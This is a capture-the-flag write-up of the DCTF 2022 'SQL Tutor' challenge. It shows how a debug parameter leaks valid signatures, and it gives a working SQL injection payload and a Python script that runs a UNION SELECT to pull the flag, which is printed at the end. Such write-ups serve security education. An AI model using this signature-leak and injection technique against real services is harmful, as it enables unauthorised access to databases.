Skip to content

Latest commit

 

History

History
166 lines (130 loc) · 4.01 KB

DCTF-2022.md

File metadata and controls

166 lines (130 loc) · 4.01 KB

SQL Tutor

We have an application where we can learn SQL, we also have a input that will be replaced in the query :

image

Let's check the request :

POST /verify_and_sign_text HTTP/2

text=Zm9v&alg=sha1

Zm9v is 'foo' base64 encoded. And the response is :

{"status":"ok","trimmedText":"Zm9v","signature":"c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65","debug":null}

We see the debug parameter, this is weird, let's try to set it to true.

POST /verify_and_sign_text HTTP/2

text=Zm9v&alg=sha1&debug=true

Response :

{
   "status":"ok",
   "trimmedText":"Zm9v",
   "signature":"c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65",
   "debug":{
      "input":{
         "alg":"sha1",
         "text":"Zm9v"
      },
      "steps":[
         "Selected sha1 algorithm ✅",
         "Decoded text from base64 ✅",
         "Trimmed and checked the text ✅",
         "Created signature: sha1(secret+sanitize(text)) ✅"
      ]
   }
}

This is so interesting! Now we know how the signature is crafted but we would have to bruteforce the secret key. We also have another endpoint (/endpoint) where we send the text and signature :

POST /execute HTTP/2

text=Zm9v&signature=c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65&queryNo=0

Response :

{
   "status":"ok",
   "query":"SELECT * FROM users WHERE users.name='foo'",
   "results":[
      
   ],
   "description":"This query selects all users with the name 'foo'.",
   "debug":null
}

Let's try here to use an invalid text (due to the fact that the signature would not match, in my case I'll use ' or 1=1-- ) :

{
   "status":"error",
   "message":"Invalid text signature, this incident will be reported!",
   "debug":{
      "input":{
         "signature":"c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65",
         "text":"JyBvciAxPTEtLSA="
      },
      "steps":[
         "Decoded text from base64 ✅",
         "Selected query #0 ✅"
      ],
      "compare":"0b40a2290d6bbdcd641799b53159a5d2e82512c7 !== c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65"
   }
}

In the compare field we can see the signature that correspond to our text, let's try to use that one :

POST /execute HTTP/2

text=JyBvciAxPTEtLSA%3D&signature=0b40a2290d6bbdcd641799b53159a5d2e82512c7&queryNo=0&debug=true

Response :

{
   "status":"ok",
   "query":"SELECT * FROM users WHERE users.name='' or 1=1-- '",
   "results":[
      {
         "id":1,
         "name":"Branko",
         "surname":"Cakarmish",
         "age":19
      },
      [...]
   ],
   "description":"This query selects all users with the name '' or 1=1-- '.",
   "debug":{
      "input":{
         "signature":"0b40a2290d6bbdcd641799b53159a5d2e82512c7",
         "text":"JyBvciAxPTEtLSA="
      },
      "steps":[
         "Decoded text from base64 ✅",
         "Selected query #0 ✅",
         "Confirmed text and signature match ✅",
         "Executed query ✅"
      ]
   }
}

Nice! This worked, let's try to perform a SQL Injection attack, in my case I made a script :

import requests
import json
import base64

url = "https://sqltutor.dragonsec.si:443/execute"

# Get table -> SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 1
# Get Column -> SELECT column_name from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='flags' LIMIT 1 OFFSET 1
query = "SELECT flag FROM flags"
query = f"Branko' UNION SELECT ({query}), 1, 1, 1-- "

data = {"text": base64.b64encode(query.encode("utf-8")).decode(), 
        "signature": "0b40a2290d6bbdcd641799b53159a5d2e82513c7", 
        "queryNo": "0", 
        "debug": "true"}
r = requests.post(url, data=data)

signature = json.loads(r.text)["debug"]["compare"].split()[0]

data = {"text": base64.b64encode(query.encode("utf-8")).decode(), 
        "signature": signature, 
        "queryNo": "0", 
        "debug": "true"}

r = requests.post(url, data=data)

print(json.loads(r.text)["results"][1]["id"])

Flag : dctf{Pump_7h3_s7r3am_h4s5_up!_353aa965}